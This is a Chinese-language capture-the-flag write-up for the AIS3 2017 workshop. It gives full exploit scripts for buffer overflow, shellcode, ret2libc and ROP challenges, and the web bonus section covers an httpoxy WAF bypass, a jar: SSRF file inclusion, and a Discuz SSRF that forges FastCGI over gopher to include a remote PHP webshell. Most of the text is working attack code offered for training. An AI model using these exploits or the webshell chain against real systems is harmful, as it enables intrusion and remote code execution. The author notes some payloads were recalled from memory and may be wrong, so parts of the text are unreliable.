AIS3 2017 Workshop

![](https://i.imgur.com/jEhADhe.png width:70%)

前言

AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。因為平台好像關惹，我也懶得重搞環境打一次所以下面解法很多都是憑著印象打出來的，有錯請見諒

lab1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


#include <stdio.h>
#include <unistd.h>

void get_flag(){
    int fd ;
    unsigned long password;
    unsigned long magic ;
    char key[] = "why_my_teammate_Orange_is_so_angry??";
    char cipher[] = "hahaha";
    fd = open("/dev/urandom",0);
    read(fd,&password,8);
    printf("Give me maigc :");
    scanf("%lu",&magic);
    if(password == magic){
        for(int i = 0 ; i < sizeof(cipher) ; i++){
            printf("%c",cipher[i]^key[i]);
        }
    }
}


int main(){
    setvbuf(stdout,0,2,0);
    get_flag();
    return 0 ;
}

這題他讀了一個random的的password 然後要我們輸入的magic跟他一樣才會印出flag 要繞過這個判斷可以用gdb跑然後先下個斷點讓他停住

1

b *0x4007a1

接著

1

set $rip=0x4007c9

讓她直接跳過判斷去執行後面指令 FLAG就會彈出來了

## Practice1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//gcc bofe4sy.c -fno-stack-protector -o bofe4sy
void l33t(){
    puts("Congrat !");
    system("/bin/sh");
}


int main(){
    char buf[0x20];
    setvbuf(stdout,0,2,0);
    puts("Buffer overflow is e4sy");
    printf("Read your input:");
    read(0,buf,100);
    return 0 ;
}

這題題目super短，一臉就是直接跳到l33t就能拿到shell的樣子 payload:

1

perl -e 'print "a"x40, "\x46\x06\x40\x00\x00\x00\x00\x00"'

## Practice2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include <unistd.h>
#include <stdio.h>
#include "mysandbox.h"

char shellcode[200];

int main(){
    setvbuf(stdout,0,2,0);
    my_sandbox();   
    printf("Give me your shellcode:");
    read(0,shellcode,200);
    (*(void(*)())shellcode)();
}

這題就是執行我們輸入的shellcode 題目還說flag在/home/orw64/flag 就是個寫shellcode的練習

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


from pwn import *

host = "pwnhub.tw"
port = 11112

r = remote(host, port)
context.arch = "amd64"

sc = asm("""
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    jmp str
open:
    pop rdi
    mov rax, 2
    syscall
read:
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x50
    xor rax, rax
    syscall

    mov rdx, rax
    mov rsi, rsp
    mov rdi, 1
    mov rax, 1
    syscall
exit:
    mov rax, 60
    syscall
str:
    call open
    .ascii '/home/orw64/flag'
    .byte 0
""")
r.recvuntil(":")
r.send(sc)
r.interactive()

## lab2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include <stdio.h>

char name[50];

int main(){
    setvbuf(stdout,0,2,0);
    printf("Name:");
    read(0,name,50);
    char buf[30];
    printf("Try your best:");
    gets(buf);
    return ;
}

這題就是個沒開DEP，然後塞shellcode到name 再蓋return address成name的位址就能執行shellcode的概念

payload:

1

perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n","a"x62, "\x80\x10\x60\x00\x00\x00\x00\x00"'

FLAG大概長這樣：AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}

## lab3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void See_something(void *addr) 
{
    unsigned long long *address ;
    address = (unsigned long long *)addr ;
    printf("The content of the address : %p\n",*address);
};

int main(){
    char address[10] ;
    char message[256];
    unsigned int addr ;
    puts("###############################");
    puts("Do you know return to library ?");
    puts("###############################");
    puts("What do you want to see in memory?");
    printf("Give me an address (in hex) :");
    fflush(stdout);
    read(0,address,10);
    addr = strtoll(address,0,16);
    See_something(addr) ;
    printf("Leave some message for me :");
    fflush(stdout);
    gets(message);
    printf("%s\n",message);
    puts("Thanks you ~");
    return 0 ;
}

這題就是return to libc 可以先塞puts的got位址給他他會讀出puts_got的值我們就可以用puts_got - puts_offset算出base address 有base就輕鬆惹 system的位址 = base + system offset 再來參數塞/bin/sh的位址就能拿到shell了

然後64位元參數優先用register傳遞，跟32位元的stack抓參數不太一樣所以我們要先找個pop rdi的gadget 把/bin/sh的位址pop到rdi裡再跳到system位址才能拿到shell

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


from pwn import *
puts_got = "601018"
puts_off = 0x6f690
gets_off = 0x6f440
system_off = 0x45390
sh = 0x4003c4
pop_rdi = 0x400843
r = remote('pwnhub.tw', 8088)
r.send(puts_got + "\n")
r.recvuntil('The content of the address : ')
puts_addr = r.recvline()
base = int(puts_addr,16) - puts_off
gets_addr = base + gets_off
system_addr = base + system_off
r.send("A"*280 + p64(pop_rdi) + p64(sh) + p64(system_addr) + p64(system_addr) + "\n")
r.interactive()

FLAG看起來長這樣：AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}

## lab4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#include <stdio.h>
#include <unistd.h>
//gcc -fno-stack-protector -static simplerop_revenge.c -o simplerop_revenge
int main(){
    char buf[20];
    puts("ROP is easy is'nt it ?");
    printf("Your input :");
    fflush(stdout);
    read(0,buf,160);
}

這題就是要我們自己組ROP拿shell 一般來說這種靜態編譯都有很多ROP gadget 可以用工具ROPgadget –binary simplerop_revenge –ropchain 來幫我們自動組Gadget拿shell 但缺點就是可能太長塞不下，所以要手動組

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

offset = 40

r = remote('pwnhub.tw',8361)
context.arch = "amd64"

# flat([0x4000,0x36]) 等同 p64(0x4000)+p64(0x36)
payload = 'a'*40
mov_drdi_rsi = 0x47a502
pop_rdi = 0x401456
pop_rsi = 0x401577
pop_rax_rdx_rbx = 0x478516
syscall = 0x4671b5
buf = 0x6c9a20
rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi,pop_rsi,0,pop_rax_rdx_rbx,0x3b,0,0,syscall])

payload += rop
r.sendline(payload)
r.interactive()

FLAG大概長這樣：AIS3{rop_Rop_Rop_then_RIP}

## lab5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#include <stdio.h>
#include <stdlib.h>

    int main(){
        char buf[20];
        setvbuf(stdout,0,2,0);
        printf("Try your best :");
        gets(buf);
        puts("boom !"); 
    }

這題題目爆幹短思路大概是這樣，call puts_plt把puts_got的值輸出出來然後一樣減掉puts_offset就能得到base address 接著可以再call一次main去構造我們的system("/bin/sh")

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import *
puts_got = 0x601018
puts_plt = 0x4004e0
puts_off = 0x6f690
system_off = 0x45390
sh_off = 0x18c177  #c99f
pop_rdi = 0x4006f3
main = 0x400636

r = remote('pwnhub.tw', 56026)

r.send("A"*40 + p64(main) + "\n")
r.send("A"*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n")
r.recvuntil('boom !')
print r.recvline()
print r.recvline()
tmp = r.recvline().strip()
print enhex(tmp)

cool = input()  
# 這裏是因為我不知道怎把抓到的位址轉成值，所以直接手動輸入ㄏㄏ python好難QQ

base = cool - puts_off
base2 = cool - puts_off
system = system_off + base2
sh = sh_off + base

r.send("A"*40 + p64(pop_rdi) + p64(sh) + p64(system) + p64(system) + "\n")
r.interactive()

## bonus

這題沒給source code objdump出來長這樣：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


    ./end:     file format elf64-x86-64

    Disassembly of section .text:

    00000000004000b0 <_start>:
    4000b0:   48 31 c0                xor    rax,rax
    4000b3: 48 31 db                xor    rbx,rbx
    4000b6:   48 31 c9                xor    rcx,rcx
    4000b9: 48 31 d2                xor    rdx,rdx
    4000bc:   48 31 ff                xor    rdi,rdi
    4000bf: 48 31 f6                xor    rsi,rsi
    4000c2:   4d 31 c0                xor    r8,r8
    4000c5: 4d 31 c9                xor    r9,r9
    4000c8:   4d 31 d2                xor    r10,r10
    4000cb: 4d 31 db                xor    r11,r11
    4000ce:   4d 31 e4                xor    r12,r12
    4000d1: 4d 31 ed                xor    r13,r13
    4000d4:   4d 31 f6                xor    r14,r14
    4000d7: 4d 31 ff                xor    r15,r15
    4000da:   48 31 ed                xor    rbp,rbp
    4000dd: e8 10 00 00 00          call   4000f2 <_end>
    4000e2:   b8 3c 00 00 00          mov    eax,0x3c
    4000e7: 48 31 ff                xor    rdi,rdi
    4000ea:   48 31 f6                xor    rsi,rsi
    4000ed: 48 31 d2                xor    rdx,rdx
    4000f0:   0f 05                   syscall 

    00000000004000f2 <_end>:
    4000f2: 48 81 ec 28 01 00 00    sub    rsp,0x128
    4000f9:   48 89 e6                mov    rsi,rsp
    4000fc: ba 48 01 00 00          mov    edx,0x148
    400101:   0f 05                   syscall 
    400103: 48 81 c4 28 01 00 00    add    rsp,0x128
    40010a:   c3                      ret 

這題關鍵就是要構造編號(rax)322的system call: stub_execveat 他跟execve一樣可以叫出shell，底層實作似乎一樣(我沒研究就是惹… 那要怎麼讓rax變成322呢… 很簡單，因為中間會call read讀資料，只要讀322 bytes 返回值rax就會等於322 接著我們輸入的時候一開始直接輸入/bin/sh\0 因為rsi(execveat的filename)原本就是輸入buffer的開頭，也就是/bin/sh，所以也不用特別處理唯一要注意的是execveat的其他暫存器值要清成0才能work 在這題就是要把rdx清空才行((我一開始一直沒清，想說怎麼一直拿不到shell QQ 可以直接跳到0x4000ed的xor rdx, rdx就行，而且下一行就是syscall，讚讚

payload:

1

perl -e 'print "/bin/sh","\x00","\x0a\x01\x40\x00\x00\x00\x00\x00"x38,"\xed\x00\x40\x00\x00\x00\x00\x00","\xb0\xdd"'

FLAG大概長這樣：AIS3{r0p_is_e4sy_4nd_fUn}

## Bonus - HTTProxy

這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix) 然後HTTP_Proxy又會被許多http library當成Proxy用所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php 內容為<?php echo 'ok'; ?> 接著curl --header 'Proxy: x.x.x.x' https://54.199.254.155/cgi-bin/?id=1 就能繞過waf惹，繞過之後直接對id做SQL injection就能拿到FLAG hitcon{Did you know httpoxy.org?}

## Bonus - Jar

這題有一個可以送出URL的地方這裡可以SSRF，而且file://可以遍歷目錄然後仔細觀察可以發現他有個?page=orange的參數他會去load users/orange.tmp這個檔案

這題就是要利用到jar協議的特性塞給他一個jar:形式的網址，他會去抓這個檔案做暫存，但是抓完就會刪除暫存所以就是要想辦法塞給他惡意檔案，然後讓他抓完之後不立刻結束連線再想辦法去跑這個暫存檔這裡我是用https://github.com/pwntester/BlockingServer 在機器x.x.x.x上新建kaibro.php 跑Blocking Server: java BlokingServer 12345 kaibro.php URL的地方塞jar:http://x.x.x.x:12345/kaibro.php!/讓它卡住再來用file:///tmp/去看暫存檔的名字，可能檔名叫jar_cache123456.tmp之類的然後利用?page=../../../../../../tmp/jar_cache123456就可以跑我們的php囉

FLAG長這樣：hitcon{Life so hard :(}

Bonus - Discuz Pwn

Discuz因為感覺會很難所以沒解，剩下其他題的話解法應該Google都找得到(?

Update: 後來太無聊，跑去架了一樣的Discuz環境打打看基本上，orange上課的投影片就已經是解法了XDD

因為_dfsockopen實作中，有FOLLOWLOCATION 所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議

在我自己的Server上，建立一個302.php:

1
2


<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

這一整串噁心的東西，主要就是在偽造FastCGI協議然後讓他去include我Server上的php script (http://kaibro.tw/x)

Server上的x:

1

<?php system($_GET['cmd']); ?>

然後訪問http://thisdiscuzsite/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img] 它就會成功include我們的x進來也就可以執行webshell惹

前言#

lab1#

Bonus - Discuz Pwn#

前言

lab1

Bonus - Discuz Pwn